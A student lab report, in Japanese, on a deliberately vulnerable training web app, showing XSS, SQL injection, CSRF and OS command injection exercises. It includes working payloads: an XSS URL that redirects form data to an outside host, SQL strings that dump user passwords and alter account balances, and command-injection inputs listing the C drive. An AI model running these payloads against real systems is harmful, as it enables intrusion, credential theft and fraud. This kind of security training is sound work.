

情報理工学部 SN コース 3 回
Web アプリケーション脆弱性演習レポート

2600200443-6

Yamashita Kyohei

山下 恒平

Apr 25 2021

1 クロスサイト・スクリプティング

1.1 クロスサイト・スクリプティングとは

クロスサイト・スクリプティングの脆弱性とは、悪意のある人が不正なスクリプトを何らかの手段でウェブページに埋め込むことで、その不正なスクリプトが被害者のブラウザ上で実行されてしまう脆弱性である。この脆弱性が悪用されてしまうと、偽のウェブページが表示されたり、情報が漏洩したりする可能性がある。

1.2 Level1 演習

この演習では、ある登録画面の入力に対して「' > " >< hr > 」と入力した結果。本来入力された文字列を確認する画面にて、水平な線が引かれた。その様子を以下の図1,2に示す。

The figure consists of two side-by-side screenshots of a web application interface. Both screenshots have a header bar with 'URL http://appgoat.cysec-lab.org/Users/is0585xf/Web/Scenario1111/VulSoft/form.php' and a red 'GO' button.

Screenshot 1 (Input): This screenshot shows a registration form. The 'Name' field contains the value '>"<hr>'. The 'Address' field contains '草津市'. The 'Gender' section has a radio button selected for 'Male'. A 'Submit' button is visible at the bottom.

Screenshot 2 (Output): This screenshot shows the result of the submission. It displays a message 'Congratulations!!演習の目標を達成しました。' (Congratulations!! You have achieved the goal of the exercise.) above a table labeled 'Registration Content'. The table shows the same data: Name ('>"><hr>'), Address ('草津市'), and Gender ('Male'). The entire content of the table is highlighted with a blue border.

図 1

図 2

これは、内部の処理において、入力された文字列のエスケープ処理が施されていなかったために、出力画面において入力されたスクリプトがそのまま実行されてしまったと考えられる。

1.3 Level2 演習

アンケートページの改竄 (反射型)

この演習では、名前を入力する欄に脆弱性を確認できた。また、入力された内容が url にも反映されることを利用して、アンケートページの内容を書き換え、通常とは異なるアンケートページを表示する url を作成し、それを掲示板に貼る攻撃を行った。実際に作成した url は 「`http://appgoat.cysec-lab.org/Users/is0585xf/Web/Scenario1121/VulSoft/enquete.php?name=<script>document.getElementById("account").innerHTML='なんでも入力してね'</script>&sex=0&old=20&company=&xss=1&trouble=1&content=`」 である。これは、url 内の「name=」の部分がそのまま名前入力欄と対応しているので、その部分に直接スクリプトを書き込んでいる。通常のアンケート画面と改編後のアンケート画面を以下の図3,4に示す。

これは、Level1 演習の時と同じように、入力された文字列に対してエスケープ処理が施されていなかったため、入力されたスクリプトがそのまま実行されたと考えられる。

URL: http://appgoat.cysec-lab.org/Users/is0585xf/Web/Scenario1121/VulSoft/enque

セキュリティに関するアンケート

*のついている項目は入力必須です。

*1.あなたの名前を教えてください。 (!#\$&()+/<>は使えません。)

*2.あなたの性別を教えてください。

男 女

*3.あなたの年齢を教えてください。

20 歳

図 3

URL: http://appgoat.cysec-lab.org/Users/is0585xf/Web/Scenario1121/VulSoft/enque

Congratulations! 演習の目標を達成しました。

セキュリティに関するアンケート

なんでも入力してね

*1.あなたの名前を教えてください。 (!#\$&()+/<>は使えません。)

*2.あなたの性別を教えてください。

男 女

*3.あなたの年齢を教えてください。

20 歳

図 4

入力情報の漏洩 (反射型)

この演習では、名前を入力する欄に脆弱性を確認できた。また、入力された内容が url にも反映されることを利用して、アンケートの送信先を変更するスクリプトを url に埋め込み、その url からアクセスした人のアンケート結果を盗む攻撃を行った。実際に作成した url は「`http://appgoat.cysec-lab.org/Users/is0585xf/Web/Scenario1122/VulSoft/enquete.php?page=2&name=<script>document.getElementById("enquete_form").action='https://zyouhourouei.com'</script>&sex=0&old=&company=&xss=1&trouble=1&content=`」である。これは、url 内の「name=」の部分がそのまま名前入力欄と対応しているので、その部分に直接スクリプトを書き込んでいる。以下の図に元のサイトからのアンケート送信結果と、掲示板の url からアクセスしたサイトのアンケート送信結果を以下の図 5,6 に示す。

脆弱アンケートアプリケーション

appgoat.cysec-lab.org の内容
この内容をhttp://appgoat.cysec-lab.org/Users/is0585xf/Web/Scenario1122/VulSoft/enquete.phpに送信します。

OK

セキュリティに関するアンケート

*のついている項目は入力必須です。

*1.あなたの名前を教えてください。 (!#\$&()+/<>は使えません。)

*2.あなたの性別を教えてください。

男 女

図 5

appgoat.cysec-lab.org の内容
この内容をhttps://zyouhourouei.com/に送信します。

OK

セキュリティ

*のついている項目は入力必須です。

*1.あなたの名前を教えてください。 (!#\$&()+/<>は使えません。)

*2.あなたの性別を教えてください。

男 女

*3.あなたの年齢を教えてください。

図 6

これは、Level1 演習の時と同じように、入力された文字列に対してエスケープ処理が施されていなかったため、入力されたスクリプトがそのまま実行されたと考えられる。

掲示板に埋め込まれるスクリプト (格納型)

この演習では、掲示板の本文を入力する欄に脆弱性が確認できた。また、掲示板であるので投稿された内容(スクリプト)はその投稿が削除されるまで継続されることを利用して、アクセスしたユーザの画面にポップアップダイアログを表示するスクリプトを埋め込む。実際に埋め込んだスクリプトとその結果を以下の図 7,8 に示す。

The screenshot shows a web page titled '掲示板' (Bulletin Board). It has fields for '名前' (Name), 'タイトル' (Title), and '本文' (Content). The '本文' field contains the following script:

```
<script>alert('あなたの口座から100万円が送金されました。')</script>
```

図 7



図 8

これは、Level1 演習の時と同じように、入力された文字列に対してエスケープ処理が施されていなかったため、入力されたスクリプトがそのまま実行されたと考えられる。

web ページの改竄 (DOM ベース)

この演習では、検索エンジンの検索ワード欄に脆弱性を確認できた。また、url に検索ワードが組み込まれることを利用して、検索結果で表示されるページのリンク先を変更する url を作成し、その url からアクセスした人を危険なサイトへと誘導する攻撃を行った。実際に作成した url は「[http://appgoat.cysec-lab.org/Users/is0585xf/Web/Scenario1124/VulSoft/search.php?page=1&submit=1&keyword=<script>document.getElementById\('link0'\).href='http://appgoat.cysec-lab.org/Users/is0585xf/Web/Scenario1124/attackers_page.php';</script>](http://appgoat.cysec-lab.org/Users/is0585xf/Web/Scenario1124/VulSoft/search.php?page=1&submit=1&keyword=<script>document.getElementById('link0').href='http://appgoat.cysec-lab.org/Users/is0585xf/Web/Scenario1124/attackers_page.php';</script>)」である。これは、url 内の「keyword=」の部分が検索ワードと対応しており、そこに直接リンク先を変更するスクリプトを埋め込んでいる。以下の図 9,10 が示すように、作成したリンクから飛んだ web ページで表示されているページにアクセスすると、表示内容とは異なる攻撃者のページに遷移していることがわかる。



図 9



図 10

これは、Level1 演習の時と同じように、入力された文字列に対してエスケープ処理が施されていなかったため、入力されたスクリプトがそのまま実行されたと考えられる。

1.4 Level3 演習

不完全な対策

この演習では、掲示板の本文入力欄に脆弱性が確認できた。しかし、本文に直接スクリプトを入れることは入力チェックで弾かれるため、まずは普通に投稿を行い、その後生成される url に対してスクリプトを埋め込み、サイトを更新すると入力チェックを回避して投稿が可能であった。実際に作成した url は「[http://appgoat.cysec-lab.org/Users/is0585xf/Web/Scenario1131/VulSoft/bbs.php?name=1&title=1&url=&content=<script>document.getElementById\('warning'\).innerHTML='管理者の発言：このページでは誹謗中傷を歓迎します。';</script>](http://appgoat.cysec-lab.org/Users/is0585xf/Web/Scenario1131/VulSoft/bbs.php?name=1&title=1&url=&content=<script>document.getElementById('warning').innerHTML='管理者の発言：このページでは誹謗中傷を歓迎します。';</script>)」である。これは、url 内の「content=」の部分が本文入力欄と対応しており、そこに直接スクリプトを埋め込んでいる。実際に入力チェックを回避してスクリプトを埋め込んだ画面を以下の図 11 に示す。



図 11

これは、Level1 演習の時と同じように、入力された文字列に対してエスケープ処理が施されていなかったため、入力されたスクリプトがそのまま実行されたと考えられる。

ヘッダ要素へのスクリプト

Mac 環境のためできませんでした。

1.5 問 1

- (a)Cookie が漏洩しない仕組みはどのようなものか
- (b) クロスサイトスクリプティングではなぜ Cookie が漏洩してしまうのか。
- (c)Cookie の漏洩によって起きうる被害はなにか。
- (d) クロスサイト・スクリプティングで Cookie が漏洩しないようにするためにには

2 SQL インジェクション

2.1 SQL インジェクションとは

SQL インジェクションとは、悪意のあるリクエストにより、ウェブアプリケーションが意図しない SQL 文を実行してしまうことで、データベースを不正に操作されてしまう脆弱性である。この脆弱性が悪用されてしまうとデータベース内の情報が改ざんされたり、個人情報や機密情報が漏えいしたりする可能性がある。

2.2 Level1 演習

この演習では、あるログイン画面のパスワードに「;」を入力するとデータベースエラーが発生することから、SQL インジェクションを引き起こす可能性がある。これが起きる原因として考えられるのは、バックエンドの処理においてプレースホルダーが使用されておらず、入力された文字列から SQL 文が作成されるため、不正な文字列がパスワードではなく、SQL 文として認識されるために起ることが想定される。

The screenshot shows a login form with the URL http://appgoat.cysec-lab.org/Users/is0585xf/Web/Scenario1211/VulSoft/login.php. The 'ID' field contains 'yamada' and the 'password' field contains a placeholder. Below the fields are 'Login' and 'Clear' buttons. The status bar at the bottom right says 'Level1'.

図 12

The screenshot shows the same login page after an attempt. A red error message box says 'Congratulations!!演習の目標を達成しました。' (Congratulations!! You have achieved the goal). Below it, another message says 'エラーが発生しました。' (An error occurred). The status bar at the bottom right says 'Level1'.

図 13

2.3 Level2 演習

不正なログイン(文字列リテラル)

この演習では、パスワード入力画面に「;」を入力したところデータベースエラーが発生したので SQL インジェクションの脆弱性があることが確認できた。そこで、「ID=yamada」の時にどのような SQL 文が作られるかを考えると、「SELECT * FROM user WHERE id = 'yamada' AND password =」となるので、この password に対して true を返すような文字列「' OR '1'='1' -」をパスワードに入力することで、ログインすることができた。以下の図 14,15 に示す。

このようなことが起きる原因として、プリペアードステートメントを用いた、値渡しによる SQL 文の組み立てを行なっていないため、入力された不正な文章がそのまま SQL 文として認識されてしまっていることが挙げられる。

オンラインバンキング

ログインID: yamada

パスワード:
[password input field]

ログイン クリア

図 14

Congratulations! 演習の目標を達成しました。

ログアウト

オンラインバンキング
～ 取引メニュー ～

ようこそ 山田 さん

図 15

情報漏洩 (数値リテラル)

この演習において、口座残高確認後の url を見ると「`http://appgoat.cysec-lab.org/Users/is0585xf/Web/Scenario1222/VulSoft/bank.php?page=3&account_id=1000005`」となっており、最後の部分を「`id=`」に書き換えるとデータベースエラーが発生したので、この部分に SQL インジェクションの脆弱性を持っていると考えられる。ここで、自分以外の口座番号を出力するように「`account_id = 99 OR 0 = 0`」と書き換え、すべての口座残高を出力させた。その結果を以下の図 16,17 に示す。

オンラインバンキング

～ 口座残高照会 ～

口座番号選択: [dropdown menu]
残高表示

口座番号	残高
1000001	100,000円
1000002	200,000円
1000003	300,000円
1000004	400,000円
1000005	500,000円
1000006	600,000円

図 16

取引メニュー ログアウト

オンラインバンキング
～ 口座残高照会 ～

口座番号選択: [dropdown menu]
残高表示

口座番号	残高
1000001	100,000円
1000002	200,000円
1000003	300,000円
1000004	400,000円
1000005	500,000円
1000006	600,000円

図 17

このようなことが起きる原因として、プリペアードステートメントを用いた、値渡しによる SQL 文の組み立てを行っていないため、入力された不正な文章がそのまま SQL 文として認識されてしまっていることが挙げられる。

他テーブル情報の漏洩 (数値リテラル)

この演習において、出入金履歴確認後の url を見ると「`http://appgoat.cysec-lab.org/Users/is0585xf/Web/Scenario1223/VulSoft/bank.php?page=4&account_id=1000005`」となっており、最後の部分を「`account_id =` 」と書き換えるとデータベースエラーが発生したので、この部分に SQL インジェクションの脆弱性を持っていると考えられる。前提条件より、users のテーブルにはアカウント情報が格納されているので、その情報を持ってくるように account.id を次のように書き換えた。「`account_id = 99 UNION SELECT NULL,id,password,0,0,0 FROM user`」この結果、他のユーザのログイン ID とパスワードが出力された。その様子を以下の図 18,19 に示す。

このようなことが起きる原因として、プリペアードステートメントを用いた、値渡しによる SQL 文の組み

日付	取引種別	備考	入金	出金	残高
6/7	入金	ATM	500,000円		500,000円

日付	取引種別	備考	入金	出金	残高
					0円
	admin	3f858c			0円
	sato	sato123			0円
	yamada	yamada123			0円

図 18

図 19

立てを行なっていないため、入力された不正な文章がそのまま SQL 文として認識されてしまっていることが挙げられる。

データベースの改ざん (数値リテラル)

この演習において、振込処理後の url を見ると「`http://appgoat.cysec-lab.org/Users/is0585xf/Web/Scenario1224/VulSoft/bank.php?page=7&from_account_id=1000005&to_account_id=2000002&amount=5000000`」となっており、最後の部分を「`to_account_id =` 」に書き換えるとデータベースエラーが発生したので、この部分に SQL インジェクションの脆弱性を持っていると考えられる。自身の口座情報を書き換えるために `to_account_id` を次のように書き換えた。`to_account_id=2000002;UPDATE account SET balance= 10000000 WHERE account_id = 1000005&amount=1000` この結果、自身の口座情報が更新され残高が一千万となった。その様子を以下の図 20,21 に示す。

口座番号選択	口座残高
1000005	10,000,000円

振込先口座	金額
<input type="text"/>	<input type="text"/> 円

振込	クリア
----	-----

口座番号	残高
1000005	10,000,000円

図 20

図 21

このようなことが起きる原因として、プリペアードステートメントを用いた、値渡しによる SQL 文の組み立てを行なっていないため、入力された不正な文章がそのまま SQL 文として認識されてしまっていることが挙げられる。

2.4 Level3 演習

ブラインド SQL インジェクション

この演習において、新規登録画面の ID 欄において「」と入力して、重複確認を行ったところ、データベースエラーが発生したので、この部分に SQL インジェクションの脆弱性を持っていると考えられる。脆弱性が存在する入力欄は、user のテーブルにアクセスできるので、ここから管理者のパスワードを特定する SQL 文を入力する、実際に入力する値は「sato' AND SUBSTR((SELECT password FROM user WHERE id = 'admin'),1,1) = 'a'」であり、この文章を入力することでパスワードの一文字目が「a」であるかどうかの判定ができる。実際に入力した結果を図 22 に示す。

The screenshot shows the 'OnlineStore' website's new registration page. At the top, there is a message in red: '使用可能なIDです。' (Available ID). Below this, there are input fields for 'Name' (セイ and メイ), gender (性別: 男 or 女), address (住所), birth date (生年月日), email (メールアドレス), and ID (ID). The ID field contains the value 'sato' AND SUBSTR((SELECT password FROM user WHERE id = 'admin'),1,1) = 'a''. To the right of the ID field is a button labeled 'Check Duplication' (重複チェック). Below the ID field is a password field (Password) and a confirmation field (確認). At the bottom left is a 'Registration' button (登録).

図 22

今回は「使用可能な ID です」と表示されていることから、一文字目は「a」ではないことが特定できた。これを、繰り返し用いることでパスワードが「bda」と特定できたので、実際にログインを行ったのが図 23 である。

このようなことが起きる原因として、プリペアードステートメントを用いた、値渡しによる SQL 文の組み立てを行なっていないため、入力された不正な文章がそのまま SQL 文として認識されてしまっていることが挙げられる。

問 2

3 CSRF(クロスサイト・リクエスト・フォージェリ)

3.1 CSRF とは

クロスサイト・リクエスト・フォージェリの脆弱性とは、ウェブサイトにログインしたユーザが、悪意のある人によってあらかじめ用意された罠により、意図しないリクエストを実行させられてしまう脆弱性である。この脆弱性が悪用されてしまうと、意図しないサービスの利用（たとえば、ショッピングサイトで商品を購入）をさせられてしまうなどの問題を引き起こす。



図 23

3.2 Level1 演習

この演習でのサイトでは、hidden 属性のトークンを確認できなかった。パスワード変更画面のソースをコピーし、「action=」の内容を「<http://appgoat.cysec-lab.org/Users/is0585xf/Web/Scenario1311/VulSoft/login.php?page=5>」に書き換えたものを web 上で開くと、パスワード変更画面が表示される。このパスワード変更画面で変更したパスワードは実際に反映され、クロスサイト・リクエスト・フォージェリの脆弱性を確認することができた。それら様子を以下の図 24,25,26 に示す。

```
Name Headers Payload Preview Response Initiator »
 I... <a href="/Users/is0585xf/Web/Scenario1311/VulSoft/login.php?page=5">
 I... id="logout">Logout</a>
10 11 id="title">パスワード変更画面</div>
12 id="start_main">
13 <form action="/Users/is0585xf/Web/Scenario1311/VulSoft/login.php?page=5" method="post">
14 <input type="hidden" name="page" value="5"/><br/>
15 <table id="confirm_table" class="margin_center">
16 <tr>
17 <td><div class="form_input">新しいパスワード</div>
18 <td><input type="text" name="newpassword1" value="1234"/>
19 </td></tr>
</table>
```

図 24

The screenshot shows a password change form. At the top, there are links for "メインメニューに戻る" (Return to Main Menu) and "パスワード変更画面" (Password Change Page). The form has two input fields: "新しいパスワード" (New Password) containing "1234" and "もう一度入力" (Re-enter) also containing "1234". A "変更する" (Change) button is at the bottom.

図 25

The screenshot shows a confirmation page titled "パスワード変更画面" (Password Change Page). It displays the message "Congratulations!!演習の目標を達成しました。" and "パスワードを '1234' に変更しました". Below this, there are two empty input fields and a "変更する" (Change) button.

図 26

このようなことが起きる原因として、トークンが設定されていないこと、パスワードの再確認を行っていないことなどが挙げられる。

3.3 Level2 演習

意図しない命令の実行

この演習のサイトでは、hidden 属性のトークンを保持しているが値が固定であり、変更直前にパスワードを求められることもないので CSRF の脆弱性があるといえる。また、url 内のパラメーターによって設定内容を変更可能であるので、ログイン状態である人が特定の url にアクセスした場合、設定内容を変更することが可能である。実際に作成した url は「<http://appgoat.cysec-lab.org/Users/is0585xf/Web/Scenario1321/VulSoft/sns.php?page=4&public=1>」である。この url を掲示板にはり、リンクにアクセスした結果を以下の図 27,28 に示す。

The screenshot shows a browser window with the URL <http://appgoat.cysec-lab.org/Users/is0585xf/Web/Scenario1321/VulSoft/sns.php?page=4&public=1>. A red dashed box highlights a message box containing the text "Congratulations!!演習の目標を達成しました。". Below the message box, there is a link "個人情報設定を変更しました。" and another link "個人情報公開設定へ戻る".

図 27

The screenshot shows a "SNS サイト" profile edit page. The URL is <http://appgoat.cysec-lab.org/Users/is0585xf/Web/Scenario1321/VulSoft/sns.php>. The page title is "SNS サイト". It displays a user's personal information: name (yamada), birth date (1990 年 1 月 1 日), and email address (yamada@example.com). There are two radio buttons for "個人情報公開": one selected ("○ 公開する") and one unselected ("○ 非公開にする"). Navigation links include "ホーム", "設定変更", and "ログアウト".

図 28

url 中にトークンを組み込まなくとも動いていることから、トークンをチェックする処理が抜け落ちていることが考えられる。また、トークンの値が固定であれば、チェックを行う処理を組み込んでいても同様の攻撃が可能だと考えられる。

不完全な対策

この演習のサイトでは、一回のログインのセッションが終了すると、次のログインでは異なるトークンを保持していることが確認できた。しかし、そのトークンの生成方法が「初期値 (1000) + 1」であり、簡単に予測できてしまうことが判明した。以下の図 29,30 にその様子を示す。

4 OS コマンドインジェクション

4.1 OS コマンドインジェクションとは

OS コマンド・インジェクションとは、悪意のあるリクエストにより、ウェブアプリケーションが意図しない OS コマンドを実行してしまうことで、システムに不正にアクセスされてしまう脆弱性である。この脆弱性が悪用されてしまうとサーバ内のファイルが閲覧、改ざん、削除されたり、システムが不正に操作されたりしてしまう可能性がある。

図 29

```
<div id="must"><span class="must">*</span>のついているI  
<form id="form1" name="form1" method="get" action="s  
<input type="hidden" name="page" value="4" />  
<input type="hidden" name="secret" value="1005" />  
<div>  
    <span class="must">*</span>名前  
    <span class="right"><input type="text" name="nam  
</div>  
<div>  
    <span class="must">*</span>生年月日  
  
    <span class="right">
```

図 30

4.2 Level1 演習

この演習では、メールサービスの TO の部分に脆弱性が存在するので、「& /windows/system32/ping -n 21 127.0.0.1」と入力したところ、20 秒以上の間レスポンスが帰って来ず、また、帰ってきたレスポンスは、ping コマンドの出力結果が帰ってきた。これは OS コマンドインジェクションの脆弱性である。その様子を以下の図 31,32 に示す。

URL

メール送信画面

TO

Subject

Message

図 31

127.0.0.1 からの応答: バイト数 =32 時間 <1ms TTL=128
127.0.0.1 の ping 統計:
パケット数: 送信 = 21、受信 = 21、損失 = 0 (0% の損失)、
ラウンドトリップの概算時間 (ミリ秒):
最小 = 0ms、最大 = 0ms、平均 = 0ms

Congratulations!!演習の目標を達成しました。

図 32

このようなことが起きる原因として、入力された文字列に対してエスケープ処理が施されていないことが挙げられる。

4.3 Level2 演習

この演習では、商品管理ページの変更後ファイル入力欄に「testtest.txt & /windows/system32/ping -n 10 127.0.0.1」と入力したところ、レスポンスが10秒以上返ってこなかつたため、OSコマンドインジェクションの脆弱性があると考えられる。そこでファイル名入力欄に「example2.txt & dir /b c:\」と入力したところ、cドライブ直下のファイル名とフォルダ名が出力された。その様子を以下の図33,34に示す。

これが起きる原因として考えられるのは、ユーザが入力した文字列をそのまま命令として使用していることが考えられる。特に処理において `exec()` 関数を使用している場合、引数がそのまま shell で実行されるので危



図 33



図 34

険である、今回であれば rename() 関数などを使用すると良いと考えられる。

問 3